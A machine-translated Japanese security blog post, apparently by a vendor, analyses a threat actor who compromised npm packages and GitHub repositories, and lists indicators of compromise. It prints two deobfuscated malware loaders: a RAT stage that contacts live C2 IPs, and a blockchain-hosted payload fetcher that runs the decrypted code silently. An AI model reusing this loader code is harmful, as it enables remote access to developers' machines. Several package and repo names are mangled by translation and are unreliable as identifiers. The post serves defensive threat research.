Aikido

react-native-aria攻撃の背後にいる脅威行為者を深く考察する

チャーリー・エリクセンチャーリー・エリクセン
|
#
#

最近、React Native AriaおよびGlueStackに関連する16の人気パッケージを侵害した脅威アクターグループに関する記事をご覧になったかもしれません。これは当社が発見し、文書化したものです。 ここ以前、我々は彼らがパッケージを侵害したことを検知した ランダムユーザーエージェント 2025年5月5日、報告された通り ここ

その後、この脅威アクターを追跡し続けており、まだ公に完全に記録していない小規模な攻撃も確認しています。しかし、彼らの活動の全体像を示すため、それらをまとめて公開したいと考えました。 

初期の悪意のあるパッケージ

2025年5月8日、当社のシステムは既にnpm上に悪意のあるものと見られる2つの新規パッケージを検知していました。それらは以下の通りです:

これらは両方とも同じユーザーによってアップロードされました。 アミンエンジニアリングスメールアドレスで登録済み アミンエンジニアリングズ@gmail[.]com最初のバージョンから、両方に悪意のあるペイロードが含まれており、このパッケージが脅威アクター自身に属することを示している。

より悪質なパッケージ

また、gluestackへの攻撃後、攻撃者によって追加でリリースされた2つのパッケージを確認しました。これらのパッケージは2025年6月8日に以下の名称でリリースされました: tailwindcss-animate-expand そして マングース・リットこれらはユーザー名 マットファーサーその後、そのユーザーはすぐに削除された。

具体的には、 tailwindcss-animate-expand このパッケージは注目に値する。ペイロード構造が異なるためである。その最初の部分は以下のようになっている:

global['r']=require;(function(){var Afr='',xzH=906-895;...

私たちはもはやそれを見ない グローバル[‘_V’] 変数が設定される。これをサンドボックスで実行すると、最終的なペイロードもわずかに異なることがわかる。難読化解除後のペイロードは次のようになる:

global._V = 'A4';
(async () => {
  try {
    const c = global.r || require;
    const d = global._V || '0';
    const f = c('os');
    const g = c("path");
    const h = c('fs');
    const i = c('child_process');
    const j = c('crypto');
    const k = f.platform();
    const l = k.startsWith("win");
    const m = f.hostname();
    const n = f.userInfo().username;
    const o = f.type();
    const p = f.release();
    const q = o + " " + p;
    const r = process.execPath;
    const s = process.version;
    const u = new Date().toISOString();
    const v = process.cwd();
    const w = typeof __filename === "undefined" || __filename !== "[eval]";
    const x = typeof __dirname === 'undefined' ? v : __dirname;
    const y = g.join(f.homedir(), ".node_modules");
    if (typeof module === "object") {
      module.paths.push(g.join(y, "node_modules"));
    } else {
      if (global._module) {
        global._module.paths.push(g.join(y, "node_modules"));
      } else {
        if (global.m) {
          global.m.paths.push(g.join(y, 'node_modules'));
        }
      }
    }
    async function z(V, W) {
      return new global.Promise((X, Y) => {
        i.exec(V, W, (Z, a0, a1) => {
          if (Z) {
            Y("Error: " + Z.message);
            return;
          }
          if (a1) {
            Y("Stderr: " + a1);
            return;
          }
          X(a0);
        });
      });
    }
    function A(V) {
      try {
        c.resolve(V);
        return true;
      } catch (W) {
        return false;
      }
    }
    const B = A("axios");
    const C = A("socket.io-client");
    if (!B || !C) {
      try {
        const V = {
          "stdio": "inherit",
          windowsHide: true
        };
        const W = {
          "stdio": "inherit",
          "windowsHide": true
        };
        if (B) {
          await z("npm --prefix \"" + y + "\" install socket.io-client", V);
        } else {
          await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
        }
      } catch (X) {}
    }
    const D = c("axios");
    const E = c("form-data");
    const F = c("socket.io-client");
    let G;
    let H;
    let I = {};
    const J = d.startsWith('A4') ? "http://136.0.9.8:3306" : "http://166.88.4.2:443";
    const K = d.startsWith('A4') ? "http://136.0.9.8:27017" : "http://166.88.4.2:27017";
...

特に興味深いのは、そのバージョンが A4週末の攻撃で、新しいC2サーバーを使用する合図として参照されたものである。

また、「旧」C2サーバーが言及されなくなったことも確認できます。代わりに、IPが追加されています。 166.88.4[.]2.

警告サイン

今回の攻撃に至る過程で、いくつかの小規模なパッケージが侵害されていることに気づいていました。以下が確認したパッケージです:

パッケージ バージョン 発売日
@lfwfinance/sdk 1.3.5 2025年6月3日
@lfwfinance/sdk-dev 2.0.10 2025年6月3日
アルゴランド-HTLS 1.0.2 2025年6月3日
AVM-サトシダイス 1.0.6 2025年6月3日
バイアテック-AVM-ガソリンスタンド 1.1.2 2025年6月3日
arc200クライアント 1.0.7 2025年6月3日
cputilノード 0.6.6 2025年6月3日

これらのパッケージは3人の異なる個人に属しており、週あたりのダウンロード数は100未満です。これらの脅威アクターは、npmアカウントのトークンを継続的に侵害できるようです。 

侵害されたGitHubリポジトリ 

これらの攻撃をさらに調査する中で、我々は脅威アクターの活動手法に関するさらなる知見を得るため、他のエコシステムにおける証拠の検証を決定した。その結果、同一の脅威アクターによって侵害されたGitHub上のリポジトリ19件を検出することに成功した:

レポ 日付 コミット
LZeroAnalytics / イーサリアム・ファウセット 2025年6月4日 23ea1dd
LZeroAnalytics / ハードハットVRF契約 2025年6月4日 f325ab6
ドグカン軍 / トルククラブ 2025年5月23日 84aaa06
khaliduddin / 数字ゲーム 2025年5月19日 36f20cb
ドグカンガン / ネクウォレット 2025年5月16日 43193c5
ドグカンガン / NexAI 2025年5月14日 74d5221
レヴォクス / ラウンドフェザー-1F9F 2025年5月1日 ca05542
LLM-レッドチーム / glm-free-api 2025年4月28日 16a0bfc
LLM-レッドチーム / deepseek-free-api 2025年4月8日 37f4c58
ドグカンガン / パイプラインテンプレート 2025年4月2日 699eb16
モバイルチームズ / ランドソフト-フロントエンド 2025年3月29日 e3636c9
アンダーゴッド-dev / ポートフォリオ 2025年3月29日 87f8add
ドグカンガン / ポップスコープ 2025年3月26日 1775087
ドグカンガン / ネクエージェント 2025年3月23日 7ff7afa
Sid31 / フロント購入無料 2025年2月28日 ce93a20
ドグカンガン / Supabase 2025年1月12日 71e169b
LLM-レッドチーム / kimi-free-api 2024年12月17日 2e6397c
LLM-レッドチーム / doubao-free-api 2024年12月13日 b0ce4e9
LLM-レッドチーム / qwen-free-api 2024年12月13日 d8046bf

これらの中で特に目立つコミットがいくつかあり、例を挙げると:

https://github.com/LZeroAnalytics/hardhat-vrf-contracts/commit/f325ab694ff83e12c96a99a58d51635e70edcdbf

脅威アクターは使用するペイロードをわずかに変更した。このケースでは、ペイロードをBase64エンコードし、eval()に渡している。以下に、その機能を説明するコメント付きでデコードしたペイロードを示す。

/*****************************************************************************************
 *  Malware “loader” that hides its real payload on two block-chains.                    *
 *  Flow ⬇️                                                                             *
 *    🥇  Step-1  Read pointer on Aptos                                                 *
 *    🥈  Step-2  Use pointer on Binance Smart Chain (BSC)                              *
 *    🥉  Step-3  Pull out hidden blob                                                 *
 *    🗝️  Step-4  Decode & decrypt                                                    *
 *    🚀  Step-5  Run it silently                                                      *
 *****************************************************************************************/

/* ─────────────────────────────  Bootstrap  ───────────────────────────── */
global['r'] = require;                 // save `require` as global.r (little obfuscation)
(async () => {

  /* quick aliases */
  const c = global;                    // shorthand for `global`
  const i = c['r'];                    // shorthand for `require`

  /* 🛠 Helper 1: GET url → JSON  */
  async function e (url) {
    return new Promise((resolve, reject) => {
      i('https')
        .get(url, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject)
        .end();
    });
  }

  /* 🛠 Helper 2: call BSC JSON-RPC  */
  async function o (method, params = []) {
    return new Promise((resolve, reject) => {
      const payload = JSON.stringify({ jsonrpc: '2.0', method, params, id: 1 });
      const opts    = { hostname: 'bsc-dataseed.binance.org', method: 'POST' };

      const req = i('https')
        .request(opts, res => {
          let body = '';
          res.on('data', chunk => (body += chunk));
          res.on('end', () => {
            try { resolve(JSON.parse(body)); } catch (err) { reject(err); }
          });
        })
        .on('error', reject);

      req.write(payload);
      req.end();
    });
  }

  /* ─────────── Core routine that implements 🥇 → 🗝️ steps ─────────── */
  async function t (aptosAccount) {

    /* 🥇  STEP-1  Read pointer on Aptos */
    const latestTx  = await e(
      `https://fullnode.mainnet.aptoslabs.com/v1/accounts/${aptosAccount}/transactions?limit=1`
    );
    const bscHash   = latestTx[0].payload.arguments[0];   // pointer → BSC tx-hash

    /* 🥈  STEP-2  Fetch BSC transaction carrying the payload */
    const bscTx     = await o('eth_getTransactionByHash', [bscHash]);
    const hexBlob   = bscTx.result.input.slice(2);        // drop "0x"

    /* 🥉  STEP-3  Pull out hidden blob (still unreadable) */
    const rawText   = Buffer.from(hexBlob, 'hex').toString('utf8');
    const b64Chunk  = rawText.split('..')[1];             // keep part after ".."

    /* 🗝️  STEP-4  Decode & decrypt */
    const encrypted = atob(b64Chunk);                     // Base-64 → binary string
    const KEY       = '$v$5;kmc$ldm*5SA';
    let  payload    = '';

    for (let j = 0; j < encrypted.length; j++) {
      payload += String.fromCharCode(
        encrypted.charCodeAt(j) ^ KEY.charCodeAt(j % KEY.length)
      );
    }
    return payload;                                      // plain-text JS to execute
  }

  /* 🚀  STEP-5  Run it silently in the background */
  try {
    const script = await t(
      '0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d'
    );

    i('child_process')
      .spawn(
        'node',
        ['-e', `global['_V']='${c['_V'] || 0}';${script}`],
        { detached: true, stdio: 'ignore', windowsHide: true }
      )
      .on('error', () => { /* swallow child errors */ });

  } catch (err) {
    /* stay quiet on any failure */
  }

})();       

このコードは巧妙で、2つの異なるブロックチェーンの内容から部分的に自己ブートストラップします。以下に段階的な概要を示します:

バイナンス・スマートチェーン上の取引は以下に示します。なお、ウォレットと契約は2025年2月7日から存在している点に留意してください: 

https://bscscan.com/tx/0x5b28b2aa49bae766099aab7c74956d17c305079d9d3575256d3a72c310079c37

コードをサンドボックス環境で実行し、最終的なペイロードを取得しました。その結果、以前に記録したペイロードと同一であり、大きな変更点は見られませんでした。 

結論

脅威アクターは、npmパッケージだけでなくGitHubリポジトリに対しても、積極的かつ継続的に侵害行為を行っていることが確認されています。さらに、彼らは自身のRAT(リモートアクセスツール)を組み込んだ独自パッケージの展開を試みており、悪意のあるコードを拡散する手段としてブロックチェーンの利用も開始しています。 

妥協の指標

パッケージ

  • ソラナユーティリティ
  • web3-socketio
  • tailwindcss-animate-expand
  • マングース・ライト
  • @lfwfinance/sdk
  • @lfwfinance/sdk-dev
  • アルゴランド-HTLS
  • AVM-サトシダイス
  • バイアテック-AVM-ガソリンスタンド
  • arc200クライアント
  • cputilノード

知的財産権

  • 166.88.4[.]2
  • 136.0.9[.]8

アプトスアカウント

  • 0xe66ae4c5e9516048911b3ade1bc8b258197259604c1206cfeca01451a7c22e6d

BSCアドレス

  • 0x9BC1355344B54DEDf3E44296916eD15653844509

BSC契約

  • 0x8EaC3198dD72f3e07108c4C7CFf43108AD48A71c

4.7/5

今すぐソフトウェアを保護しましょう

無料で始める
CC不要
デモを予約する
データは共有されない - 読み取り専用アクセス - CC不要

今すぐ安全を確保しましょう

コード、クラウド、ランタイムを1つの中央システムでセキュアに。
脆弱性を迅速に発見し、自動的に修正。

クレジットカードは不要。